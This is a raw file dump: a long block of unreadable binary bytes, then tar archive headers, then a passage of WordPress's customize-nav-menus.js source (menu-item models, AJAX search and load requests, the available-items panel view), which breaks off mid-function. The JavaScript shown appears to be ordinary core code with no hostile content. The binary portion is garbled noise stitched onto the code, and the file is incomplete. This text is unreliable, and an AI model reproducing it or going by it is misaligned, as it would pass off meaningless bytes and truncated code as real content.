��M�i�,�-��f͈���*K���Ƭ�����f4��V�_��?�5�s�rR�O-�s��1gOv�\]��3��.s��u�|*>���_�…�m	�S���"o�M�Q���Z�wmT/�K/Ƚ���r8�������,"��#��c�)���#ˁ-jI�-l	c���;RS�UE�yX����@���}��s�����^���"�u��V��v���i�~�bDB1l{pt���<�O^�-B��O�e��e�Q	_�h%.�y:��
�@ծ��럟_��9.:�
�?���0H���|trV\<!n,�¹<�\\�D��M�CE�<Ǘ�=!1��Q�	�y�(�y�b�vu	���W�h�{7�
�6�S�TZ!�	pol�M�뭓�Û��=�[�5-����5��p���)~f���{�!}nVC- s��P�O�4�D]	=�'rPO�E��G�m)�d�7��{[���n���菄�Y�e�+`f'Z6'Rs�
qd�	�c���a�z�f��#';t�w�k�L&ҾC�Ug46}\���%AOQ�-C��R��Fa�^�d�p��db�+�8��w��R��I B��l�6f	k�M�>	��:+���XǾ&-����x�պn׵���u$[7�WaST�)������P��1��hLt�8�zZ/�Έ
���z��?���a��4Me@ˢ�7�}���z{�=�3����T���o��I��d�s&9u	ea"��ԇnͥn�����.�۲���`�ڽ3����l�:��~۷���xRj�����ʽ��T46�����a���k�j�@���@b��_@��
�tu?hgTḲb���A:�$�
V���8:�6(p��
Y�����Q~�,�����D��GKԣ�x���`c�A�9��Q��}��"�<��h���ϟ=�w���{bz��ũd��4��k�5v�TO���$��U����X8�-��>~�t
	_������������ ���u��Y�I�⪥	Z�q�E-����jJG�1'YP۪G���͵���O��^��T�# �
Hjw_!
`u?fvX!Ny0	��Y�:U��2وnF��i�oԱ�����
{*���xQ4h9���D�G֡�x�]�n�`a�sy�+^w�F���F)wb�7>��k�Q��z�<��[��0��jfU�)�Ers4RaB]^�ZVwӧⳭ'鳩[-�,��Gͣ�;K�����
���?`��1�$M�y��	J�9u�6��lc�D_�#�9���m���;6fG=�,1�S�YW�er�0j��L��6�ƀ��Rx�Emݬ/�U4}�k�(�_����!�zfU
?�?��;*�ԩH]�ʚTp,�(�
�XDZ���
F(eʄ8iR�_���3�2Ch��_R
TEYa�ԨX��QXtRתCX��W*׾�KCU��rGr�:�0�{��WD�rH��%vMv��R���	�F=RN�C:@�wj�M����]}�W��x�	K�֨�Z��!N�yfr�=ڸM�m�'�Q=Sp˻\�@�7��������Hw���c�]q��;P!qW���I��I/Q���ſ���"|q8N�{RB1sueG_ >X��"�?���o t��<^C�Y�0����j!c�x���M��O�J/v
�NKIN.G�~T�)�x,��}���y��F5��e�f�=nz@^�x�f��zݾC��G�(�֩�Z~����p���2녫ʍ����ˣ	!�=�TX�9J��O��!��a�Q�;�|4���k�����V�R�<	�Z�x�?d�heB���7HX�.W��*�/qt�ڏŜ����JŁ���VP�8k�'����P���Dκ�H><�yq}�6Fa�kL6"c>O�:�M��dL��H�v����c�``�?�����G/�K�h4i�6
~���,�gdG.�\���cZ�)�m�L�w�<a]�b�Վs�H�G�j͞G�F29C�rUx�9ϋ�����x3*)
w�Nえ` ���-��8�Jg1gt�O��8;���)$}f�S�y��EٿN�:fxR�CT����5Ptzh
R"9;E��s���H�ӌ��gq�R�O�5��׍�!�_8�bs'�u_mv�#WrWTm�|�UX�D>3R&�Dh5�#نm�;M�!Rk�/�nfGGZ=T�.��$mq�}�m�Y����H9�p4񒨗'T��#�SH>��J�ŴO��{U��;Qζ��䡿���NE�~��	�^�<�z(p�����.Ǜ��W�=�P��l����'�R�o��ň�.|Ijl|�Q�BX�]G�^��(J�9r��\���r��C���+fGj(;�ި�.a j[�)L�Rw���Z�P���A�5�V������F�G�����Z&�4�~6>e�PF�eҼ��IR"
`�\8>�uv�d�/� �h����*�I
�T�����**��7�����k��aZ��*$�a���S��;�����dA���	�X�_�cj�4'x�p[!Mأ�1�3�%4\�_sX5�&����m��Lt�nL�Z{w�<�%���h�ݚ�@nLJ�q{���F����*K���+�y�tQ�aL1�clV�Ӕ�ys�l������~ �1��+��L�2ژ��3\*���p�����uu�c����{j+��{
;�����Ў1Iʮ�w�_�Cݜy���ʈـEo��t�0��Cy������جw��<��U�����y��pc�o���V�ݚQW	�D�� @���d�*�n)�ͷ�e��O�ܘ�gv^'�l�Y����4Cڟz�Cd7��j�M0B{�(Æ��m���5C���t�3�$=z�3g�(�%6/���C�Q욷w��2tU{n�,�{��O���&+c_���J]2��;c���<qHc��Ү{8"f"ws#����ƀ'���$��t�-Z���C��z0��0Pޝ��i@6ż�پT�S�I�訥����ے��t4�݅�i}���<#���Ou�3yx��N�I\���4=�0�T@bi��7���e��ݳzC��f(��S�Q}K��h�u\DB�<>�NN�X�l6A*�Iz1��0;��?\��!�FD���:�u����V�%AG���Z�L��#d�'*��%f�~���f�R�~Z/���܎�L��l�#���t���f�L��4��֗sl�c����.t�m�鲡ݬZUB��/�n������
",��B���� G�\�WZ�W����֠]2��f}f@p��Om	k\��i+aw�2��j��R�18�H����U�Ή�Np|9pX���!��x��z��f[zj��>��o|�Xtv�|Z�*@-� 9;�i�b��B��9��h���9����0�LAE�dv���s�[:9����b
NgU������X�i?��of|�gU����y�?�48wǮ^U��:�/��R���JS���oǹ6p��C���n����uƠ�{��~pu	΃-�Gj��F�C	Q��Ә�w�
��_�y�}�E��ݶ��B�h���HX�7x#�iK�w>�E���m���N�P�=K��qAB%��6
��P�(��w�:���2ҙ��0�UG�_q�[)(�f�,ʟT	���9Δ��&:%G�)��tw�͙%ؠ��2`!�	C�9A��Tg��$0�^��q.� 	�{
bQs
&C���!�{��5���74"��ss�gz��D�vݨc��Y�\*�+�y��HJ���%��u��kC��GL}[V�l�]�w�Q�=zH�����w��J�Z�݋���ѫ��5δu�j�m����T�Cǁ���9�(�4%�L}lJ&�]�r��:�o��-,Õdd��U�
�-�OT��kquQ�u&9��K�e���i��/�t��:��5I�l}f���k��b�z\8v�V�H�S�k}��f�p�I��V�M<{[=�QlK5�F��f�=>t�ؒj�0�j�ꁍRKH3�������[�� �:J4F���Z��ﮮ��@�x6x}7��.u�mVA #}A��
���&ҵ�,k�*<֦b~֍���w�tR�X�>~(��7D%K�`}w�W�ը(��L*��*3���T7-��\q�Ƭ���rf�h'���g���FS��qQ�7��al7���z���:�*6z~Q�nF5&m*]��@�cB�Cˏ��. �
/����cK�א�����f(/�@Ӗ�N`Q\P/�P��,5�=;R/�5�u��^`"�2G�2�
�7ʸ�U�^�>�eZ'�wR%�����3;�����$�$^�[_��U�,�t��cp�l�ZY�Q���I��ι��7�
��	s��j*鮊���\'iK��ö�=e��N��T�wejۂeE�[�$��#�{�:�d�1N��q������47B9�}�6ܰ���~gH߸Ou��}��u&�)���P~��;���;�%2���G.��{��N�W$B)L��tBR��DC~�����M��t��:�S��\ڻ�_�`+���tw�O�c��k_*arӦ�>�:�*����B���"���f���iە��&�_f�@����c*:8��������k���)|�#h�r�lU��tל�͍��{�J���:?'�N�����qM���'��/�<�v6�	�	N����C<���wd��pv�ŏ��t�]�)#.]q?��]=��G��*�I�mjgap=��N��v�~�n�~�::�P�J�N=���S��B��Dp}l}�ڹ$�q��<�n~Hg�[pOރ(9z���E�l�n,j�G�ٝ��nuݡ�
F�ªHݘ��z���]߀ph��]=�*S/._N"KU��LD&b��ب��-��oZu[����4�t�Dx���/8H�� |EQ�V2�\$t���e��Y���n�h#�v��A��)*�80s�V�|�=�\
;��.ۇ.�����M����֭�����&�)x^6okId�o�R��5�|g�!���y$Ow�Y��8f
��K�T!�jy�?y���w�ԅ�%�G6+�QJ���L>�#�B4�P*���V��P�2�!��
�NVk��X�
x�Q��[�]yea����nd�
�*�,3 �h����be=��O��Q썚�[ȉ�#��pBk���R�8�.{�&n<U�8��W,���HGY@��]���3�G{�4�͇�<��8T~��eݍ��}M��:jE�H�q��m2?�p�&�=wR��Kd�����Z+���|@�=3.^�mZ��3%B�e��CY�u�f~�g^o/��J��q�R:��Ո�l����[��zEY%�,X[���f�	07����b2���e�SεQ#/�O"Ea�Z���Aմ��#��_?sFHPدa�Ǘ�+_Su����`�� 2�J���Q�Y#�[����&�M������|�R<f<�^��>�Ӳ.��-�r}�‘E
#4��
S>.z��xs.���)��L]�싑��#��w���JyL�k�mU��k�;��٭��_�H�+S�3%:}y�vb�t����aZ�:u�%�L����9�j�'i���
�G��]V��<�	զ3Z�R!���qOP��
��R�zg�u�_��RT����c2tl��n�2ق��4R�F{����3}�X6�DC?T^)u���ք��+cB�NY�����K�UyN�#�)���\|���NT�{���6�(�+=R��]�e�1���Ju��|3�k	N��Aه�H��BMC���R��$�np\�?k:��a3g���P��{�st�c��F��н���?��A,iJ���'�u�.7Ҹ)aRɏ
�W�����!}�~���P�8=:/p�P=��-�%����]П�)�+�T�K����G�/�!(<��`f��vu�d>�գ�5M�\�q�p��3��N����;*I$n{�X�L��:j1+�����u���q����i�^���|�JVN�a�'������1��T/�(�>@j���LE��t\�Kh�SK�)	����jz�_�D��3'�w_dr��W*��WT�%#��jtXٽ�5�Έ2�N�eGٷ0fC�"7%�� ��2��'��k+�$���X�r�Uv�� �h���EQ�R,S���L�>���/~��T��Y��
8f�;�qY��O;�:o̷\�b��Z%&��ײ����W�(�[��o評��$�Sd٤�m��
}?��i]���x�rxo��	�|X}q���֪��Bߚ�:�ޡ"����ң-��"��S��J�3`��S;��)�!5�ҏp�I^gJM�x��(�q
+c	:9�.*����.���B1�$~�����Z�-��UV�����?��2V�;O�GC��;�/�7��{{'���Mg(x�b��2wB��;�@�C��U7H}~��D>Oe��luJY�>Bᙅ��P����Tx��y�]2BZ\�X��U)�܋
3�Y��xhtv�Ո�ʔT(��q3�'�:���TkLz{�X���ll2
��+h���y�'�o�Ux���yv���â6m�����#!"�.��wu'���DPW@]��1;s|���Z/ecy�w�[/O��Y/����AX��YɻA�P�	��v�(J�#�&Ƣܜ��t13Vre����V'�G�z����1�`s
|���xz��H��>�H�������iMv�`�M�D�wkn���I1n��~�s���<�){���o
{G��tAa�h��b9����IGj��r~ף�E��wh�n#i9eH��Oީq��n��wp��elCd>�ېS�q`a�yi��d{šC�&
�:�b��PwО6>����<�X�DŽyQ�FݲK��&���9��'bى�f&�1e�`rES�D;I�jtQ�
N_�cC	�BSj���D/����޷0-�x����efK�9�-Y�ǯ/����}�͈k�w}פ�*��uGU�F������N�X'}�6�b��a��O��ج��w3�5�*�gc޸�y}���w~�����AX�Fg�2o��U���漋�#���Y��w�X��W���;�">�(s�p~��&����.3|��I`�xIx��L]��i���x[�q�h��P#�=�שzx��[���g}�ƛ��I"��l���� +�$<�7$h�X��$w��3_s�x���d[�>YeP6�`h�L����7����YS
n�ەe���U��_7b}W��������߿��������R6�customize-nav-menus.js.tar000064400000327000150276633110011626 0ustar00home/natitnen/crestassured.com/wp-admin/js/customize-nav-menus.js000064400000323642150262766410021242 0ustar00/**
 * @output wp-admin/js/customize-nav-menus.js
 */

/* global _wpCustomizeNavMenusSettings, wpNavMenu, console */
( function( api, wp, $ ) {
	'use strict';

	/**
	 * Set up wpNavMenu for drag and drop.
	 */
	wpNavMenu.originalInit = wpNavMenu.init;
	wpNavMenu.options.menuItemDepthPerLevel = 20;
	wpNavMenu.options.sortableItems         = '> .customize-control-nav_menu_item';
	wpNavMenu.options.targetTolerance       = 10;
	wpNavMenu.init = function() {
		this.jQueryExtensions();
	};

	/**
	 * @namespace wp.customize.Menus
	 */
	api.Menus = api.Menus || {};

	// Link settings.
	api.Menus.data = {
		itemTypes: [],
		l10n: {},
		settingTransport: 'refresh',
		phpIntMax: 0,
		defaultSettingValues: {
			nav_menu: {},
			nav_menu_item: {}
		},
		locationSlugMappedToName: {}
	};
	if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) {
		$.extend( api.Menus.data, _wpCustomizeNavMenusSettings );
	}

	/**
	 * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which
	 * serve as placeholders until Save & Publish happens.
	 *
	 * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId
	 *
	 * @return {number}
	 */
	api.Menus.generatePlaceholderAutoIncrementId = function() {
		return -Math.ceil( api.Menus.data.phpIntMax * Math.random() );
	};

	/**
	 * wp.customize.Menus.AvailableItemModel
	 *
	 * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class.
	 *
	 * @class    wp.customize.Menus.AvailableItemModel
	 * @augments Backbone.Model
	 */
	api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend(
		{
			id: null // This is only used by Backbone.
		},
		api.Menus.data.defaultSettingValues.nav_menu_item
	) );

	/**
	 * wp.customize.Menus.AvailableItemCollection
	 *
	 * Collection for available menu item models.
	 *
	 * @class    wp.customize.Menus.AvailableItemCollection
	 * @augments Backbone.Collection
	 */
	api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{
		model: api.Menus.AvailableItemModel,

		sort_key: 'order',

		comparator: function( item ) {
			return -item.get( this.sort_key );
		},

		sortByField: function( fieldName ) {
			this.sort_key = fieldName;
			this.sort();
		}
	});
	api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems );

	/**
	 * Insert a new `auto-draft` post.
	 *
	 * @since 4.7.0
	 * @alias wp.customize.Menus.insertAutoDraftPost
	 *
	 * @param {Object} params - Parameters for the draft post to create.
	 * @param {string} params.post_type - Post type to add.
	 * @param {string} params.post_title - Post title to use.
	 * @return {jQuery.promise} Promise resolved with the added post.
	 */
	api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) {
		var request, deferred = $.Deferred();

		request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', {
			'customize-menus-nonce': api.settings.nonce['customize-menus'],
			'wp_customize': 'on',
			'customize_changeset_uuid': api.settings.changeset.uuid,
			'params': params
		} );

		request.done( function( response ) {
			if ( response.post_id ) {
				api( 'nav_menus_created_posts' ).set(
					api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] )
				);

				if ( 'page' === params.post_type ) {

					// Activate static front page controls as this could be the first page created.
					if ( api.section.has( 'static_front_page' ) ) {
						api.section( 'static_front_page' ).activate();
					}

					// Add new page to dropdown-pages controls.
					api.control.each( function( control ) {
						var select;
						if ( 'dropdown-pages' === control.params.type ) {
							select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' );
							select.append( new Option( params.post_title, response.post_id ) );
						}
					} );
				}
				deferred.resolve( response );
			}
		} );

		request.fail( function( response ) {
			var error = response || '';

			if ( 'undefined' !== typeof response.message ) {
				error = response.message;
			}

			console.error( error );
			deferred.rejectWith( error );
		} );

		return deferred.promise();
	};

	api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{

		el: '#available-menu-items',

		events: {
			'input #menu-items-search': 'debounceSearch',
			'focus .menu-item-tpl': 'focus',
			'click .menu-item-tpl': '_submit',
			'click #custom-menu-item-submit': '_submitLink',
			'keypress #custom-menu-item-name': '_submitLink',
			'click .new-content-item .add-content': '_submitNew',
			'keypress .create-item-input': '_submitNew',
			'keydown': 'keyboardAccessible'
		},

		// Cache current selected menu item.
		selected: null,

		// Cache menu control that opened the panel.
		currentMenuControl: null,
		debounceSearch: null,
		$search: null,
		$clearResults: null,
		searchTerm: '',
		rendered: false,
		pages: {},
		sectionContent: '',
		loading: false,
		addingNew: false,

		/**
		 * wp.customize.Menus.AvailableMenuItemsPanelView
		 *
		 * View class for the available menu items panel.
		 *
		 * @constructs wp.customize.Menus.AvailableMenuItemsPanelView
		 * @augments   wp.Backbone.View
		 */
		initialize: function() {
			var self = this;

			if ( ! api.panel.has( 'nav_menus' ) ) {
				return;
			}

			this.$search = $( '#menu-items-search' );
			this.$clearResults = this.$el.find( '.clear-results' );
			this.sectionContent = this.$el.find( '.available-menu-items-list' );

			this.debounceSearch = _.debounce( self.search, 500 );

			_.bindAll( this, 'close' );

			/*
			 * If the available menu items panel is open and the customize controls
			 * are interacted with (other than an item being deleted), then close
			 * the available menu items panel. Also close on back button click.
			 */
			$( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) {
				var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
					self.close();
				}
			} );

			// Clear the search results and trigger an `input` event to fire a new search.
			this.$clearResults.on( 'click', function() {
				self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
			} );

			this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() {
				$( this ).removeClass( 'invalid' );
			});

			// Load available items if it looks like we'll need them.
			api.panel( 'nav_menus' ).container.on( 'expanded', function() {
				if ( ! self.rendered ) {
					self.initList();
					self.rendered = true;
				}
			});

			// Load more items.
			this.sectionContent.on( 'scroll', function() {
				var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ),
					visibleHeight = self.$el.find( '.accordion-section.open' ).height();

				if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) {
					var type = $( this ).data( 'type' ),
						object = $( this ).data( 'object' );

					if ( 'search' === type ) {
						if ( self.searchTerm ) {
							self.doSearch( self.pages.search );
						}
					} else {
						self.loadItems( [
							{ type: type, object: object }
						] );
					}
				}
			});

			// Close the panel if the URL in the preview changes.
			api.previewer.bind( 'url', this.close );

			self.delegateEvents();
		},

		// Search input change handler.
		search: function( event ) {
			var $searchSection = $( '#available-menu-items-search' ),
				$otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection );

			if ( ! event ) {
				return;
			}

			if ( this.searchTerm === event.target.value ) {
				return;
			}

			if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) {
				$otherSections.fadeOut( 100 );
				$searchSection.find( '.accordion-section-content' ).slideDown( 'fast' );
				$searchSection.addClass( 'open' );
				this.$clearResults.addClass( 'is-visible' );
			} else if ( '' === event.target.value ) {
				$searchSection.removeClass( 'open' );
				$otherSections.show();
				this.$clearResults.removeClass( 'is-visible' );
			}

			this.searchTerm = event.target.value;
			this.pages.search = 1;
			this.doSearch( 1 );
		},

		// Get search results.
		doSearch: function( page ) {
			var self = this, params,
				$section = $( '#available-menu-items-search' ),
				$content = $section.find( '.accordion-section-content' ),
				itemTemplate = wp.template( 'available-menu-item' );

			if ( self.currentRequest ) {
				self.currentRequest.abort();
			}

			if ( page < 0 ) {
				return;
			} else if ( page > 1 ) {
				$section.addClass( 'loading-more' );
				$content.attr( 'aria-busy', 'true' );
				wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore );
			} else if ( '' === self.searchTerm ) {
				$content.html( '' );
				wp.a11y.speak( '' );
				return;
			}

			$section.addClass( 'loading' );
			self.loading = true;

			params = api.previewer.query( { excludeCustomizedSaved: true } );
			_.extend( params, {
				'customize-menus-nonce': api.settings.nonce['customize-menus'],
				'wp_customize': 'on',
				'search': self.searchTerm,
				'page': page
			} );

			self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params );

			self.currentRequest.done(function( data ) {
				var items;
				if ( 1 === page ) {
					// Clear previous results as it's a new search.
					$content.empty();
				}
				$section.removeClass( 'loading loading-more' );
				$content.attr( 'aria-busy', 'false' );
				$section.addClass( 'open' );
				self.loading = false;
				items = new api.Menus.AvailableItemCollection( data.items );
				self.collection.add( items.models );
				items.each( function( menuItem ) {
					$content.append( itemTemplate( menuItem.attributes ) );
				} );
				if ( 20 > items.length ) {
					self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either.
				} else {
					self.pages.search = self.pages.search + 1;
				}
				if ( items && page > 1 ) {
					wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) );
				} else if ( items && page === 1 ) {
					wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) );
				}
			});

			self.currentRequest.fail(function( data ) {
				// data.message may be undefined, for example when typing slow and the request is aborted.
				if ( data.message ) {
					$content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) );
					wp.a11y.speak( data.message );
				}
				self.pages.search = -1;
			});

			self.currentRequest.always(function() {
				$section.removeClass( 'loading loading-more' );
				$content.attr( 'aria-busy', 'false' );
				self.loading = false;
				self.currentRequest = null;
			});
		},

		// Render the individual items.
		initList: function() {
			var self = this;

			// Render the template for each item by type.
			_.each( api.Menus.data.itemTypes, function( itemType ) {
				self.pages[ itemType.type + ':' + itemType.object ] = 0;
			} );
			self.loadItems( api.Menus.data.itemTypes );
		},

		/**
		 * Load available nav menu items.
		 *
		 * @since 4.3.0
		 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object.
		 * @access private
		 *
		 * @param {Array.<Object>} itemTypes List of objects containing type and key.
		 * @param {string} deprecated Formerly the object parameter.
		 * @return {void}
		 */
		loadItems: function( itemTypes, deprecated ) {
			var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {};
			itemTemplate = wp.template( 'available-menu-item' );

			if ( _.isString( itemTypes ) && _.isString( deprecated ) ) {
				_itemTypes = [ { type: itemTypes, object: deprecated } ];
			} else {
				_itemTypes = itemTypes;
			}

			_.each( _itemTypes, function( itemType ) {
				var container, name = itemType.type + ':' + itemType.object;
				if ( -1 === self.pages[ name ] ) {
					return; // Skip types for which there are no more results.
				}
				container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object );
				container.find( '.accordion-section-title' ).addClass( 'loading' );
				availableMenuItemContainers[ name ] = container;

				requestItemTypes.push( {
					object: itemType.object,
					type: itemType.type,
					page: self.pages[ name ]
				} );
			} );

			if ( 0 === requestItemTypes.length ) {
				return;
			}

			self.loading = true;

			params = api.previewer.query( { excludeCustomizedSaved: true } );
			_.extend( params, {
				'customize-menus-nonce': api.settings.nonce['customize-menus'],
				'wp_customize': 'on',
				'item_types': requestItemTypes
			} );

			request = wp.ajax.post( 'load-available-menu-items-customizer', params );

			request.done(function( data ) {
				var typeInner;
				_.each( data.items, function( typeItems, name ) {
					if ( 0 === typeItems.length ) {
						if ( 0 === self.pages[ name ] ) {
							availableMenuItemContainers[ name ].find( '.accordion-section-title' )
								.addClass( 'cannot-expand' )
								.removeClass( 'loading' )
								.find( '.accordion-section-title > button' )
								.prop( 'tabIndex', -1 );
						}
						self.pages[ name ] = -1;
						return;
					} else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) {
						availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' );
					}
					typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away?
					self.collection.add( typeItems.models );
					typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' );
					typeItems.each( function( menuItem ) {
						typeInner.append( itemTemplate( menuItem.attributes ) );
					} );
					self.pages[ name ] += 1;
				});
			});
			request.fail(function( data ) {
				if ( typeof console !== 'undefined' && console.error ) {
					console.error( data );
				}
			});
			request.always(function() {
				_.each( availableMenuItemContainers, function( container ) {
					container.find( '.accordion-section-title' ).removeClass( 'loading' );
				} );
				self.loading = false;
			});
		},

		// Adjust the height of each section of items to fit the screen.
		itemSectionHeight: function() {
			var sections, lists, totalHeight, accordionHeight, diff;
			totalHeight = window.innerHeight;
			sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' );
			lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' );
			accordionHeight =  46 * ( 1 + sections.length ) + 14; // Magic numbers.
			diff = totalHeight - accordionHeight;
			if ( 120 < diff && 290 > diff ) {
				sections.css( 'max-height', diff );
				lists.css( 'max-height', ( diff - 60 ) );
			}
		},

		// Highlights a menu item.
		select: function( menuitemTpl ) {
			this.selected = $( menuitemTpl );
			this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' );
			this.selected.addClass( 'selected' );
		},

		// Highlights a menu item on focus.
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		// Submit handler for keypress and click on menu item.
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		// Adds a selected menu item to the menu.
		submit: function( menuitemTpl ) {
			var menuitemId, menu_item;

			if ( ! menuitemTpl ) {
				menuitemTpl = this.selected;
			}

			if ( ! menuitemTpl || ! this.currentMenuControl ) {
				return;
			}

			this.select( menuitemTpl );

			menuitemId = $( this.selected ).data( 'menu-item-id' );
			menu_item = this.collection.findWhere( { id: menuitemId } );
			if ( ! menu_item ) {
				return;
			}

			this.currentMenuControl.addItemToMenu( menu_item.attributes );

			$( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' );
		},

		// Submit handler for keypress and click on custom menu item.
		_submitLink: function( event ) {
			// Only proceed with keypress if it is Enter.
			if ( 'keypress' === event.type && 13 !== event.which ) {
				return;
			}

			this.submitLink();
		},

		// Adds the custom menu item to the menu.
		submitLink: function() {
			var menuItem,
				itemName = $( '#custom-menu-item-name' ),
				itemUrl = $( '#custom-menu-item-url' ),
				url = itemUrl.val().trim(),
				urlRegex;

			if ( ! this.currentMenuControl ) {
				return;
			}

			/*
			 * Allow URLs including:
			 * - http://example.com/
			 * - //example.com
			 * - /directory/
			 * - ?query-param
			 * - #target
			 * - mailto:foo@example.com
			 *
			 * Any further validation will be handled on the server when the setting is attempted to be saved,
			 * so this pattern does not need to be complete.
			 */
			urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;

			if ( '' === itemName.val() ) {
				itemName.addClass( 'invalid' );
				return;
			} else if ( ! urlRegex.test( url ) ) {
				itemUrl.addClass( 'invalid' );
				return;
			}

			menuItem = {
				'title': itemName.val(),
				'url': url,
				'type': 'custom',
				'type_label': api.Menus.data.l10n.custom_label,
				'object': 'custom'
			};

			this.currentMenuControl.addItemToMenu( menuItem );

			// Reset the custom link form.
			itemUrl.val( '' ).attr( 'placeholder', 'https://' );
			itemName.val( '' );
		},

		/**
		 * Submit handler for keypress (enter) on field and click on button.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {jQuery.Event} event Event.
		 * @return {void}
		 */
		_submitNew: function( event ) {
			var container;

			// Only proceed with keypress if it is Enter.
			if ( 'keypress' === event.type && 13 !== event.which ) {
				return;
			}

			if ( this.addingNew ) {
				return;
			}

			container = $( event.target ).closest( '.accordion-section' );

			this.submitNew( container );
		},

		/**
		 * Creates a new object and adds an associated menu item to the menu.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {jQuery} container
		 * @return {void}
		 */
		submitNew: function( container ) {
			var panel = this,
				itemName = container.find( '.create-item-input' ),
				title = itemName.val(),
				dataContainer = container.find( '.available-menu-items-list' ),
				itemType = dataContainer.data( 'type' ),
				itemObject = dataContainer.data( 'object' ),
				itemTypeLabel = dataContainer.data( 'type_label' ),
				promise;

			if ( ! this.currentMenuControl ) {
				return;
			}

			// Only posts are supported currently.
			if ( 'post_type' !== itemType ) {
				return;
			}

			if ( '' === itemName.val().trim() ) {
				itemName.addClass( 'invalid' );
				itemName.focus();
				return;
			} else {
				itemName.removeClass( 'invalid' );
				container.find( '.accordion-section-title' ).addClass( 'loading' );
			}

			panel.addingNew = true;
			itemName.attr( 'disabled', 'disabled' );
			promise = api.Menus.insertAutoDraftPost( {
				post_title: title,
				post_type: itemObject
			} );
			promise.done( function( data ) {
				var availableItem, $content, itemElement;
				availableItem = new api.Menus.AvailableItemModel( {
					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
					'title': itemName.val(),
					'type': itemType,
					'type_label': itemTypeLabel,
					'object': itemObject,
					'object_id': data.post_id,
					'url': data.url
				} );

				// Add new item to menu.
				panel.currentMenuControl.addItemToMenu( availableItem.attributes );

				// Add the new item to the list of available items.
				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
				$content = container.find( '.available-menu-items-list' );
				itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) );
				itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' );
				$content.prepend( itemElement );
				$content.scrollTop();

				// Reset the create content form.
				itemName.val( '' ).removeAttr( 'disabled' );
				panel.addingNew = false;
				container.find( '.accordion-section-title' ).removeClass( 'loading' );
			} );
		},

		// Opens the panel.
		open: function( menuControl ) {
			var panel = this, close;

			this.currentMenuControl = menuControl;

			this.itemSectionHeight();

			if ( api.section.has( 'publish_settings' ) ) {
				api.section( 'publish_settings' ).collapse();
			}

			$( 'body' ).addClass( 'adding-menu-items' );

			close = function() {
				panel.close();
				$( this ).off( 'click', close );
			};
			$( '#customize-preview' ).on( 'click', close );

			// Collapse all controls.
			_( this.currentMenuControl.getMenuItemControls() ).each( function( control ) {
				control.collapseForm();
			} );

			this.$el.find( '.selected' ).removeClass( 'selected' );

			this.$search.trigger( 'focus' );
		},

		// Closes the panel.
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus && this.currentMenuControl ) {
				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
			}

			this.currentMenuControl = null;
			this.selected = null;

			$( 'body' ).removeClass( 'adding-menu-items' );
			$( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' );

			this.$search.val( '' ).trigger( 'input' );
		},

		// Add a few keyboard enhancements to the panel.
		keyboardAccessible: function( event ) {
			var isEnter = ( 13 === event.which ),
				isEsc = ( 27 === event.which ),
				isBackTab = ( 9 === event.which && event.shiftKey ),
				isSearchFocused = $( event.target ).is( this.$search );

			// If enter pressed but nothing entered, don't do anything.
			if ( isEnter && ! this.$search.val() ) {
				return;
			}

			if ( isSearchFocused && isBackTab ) {
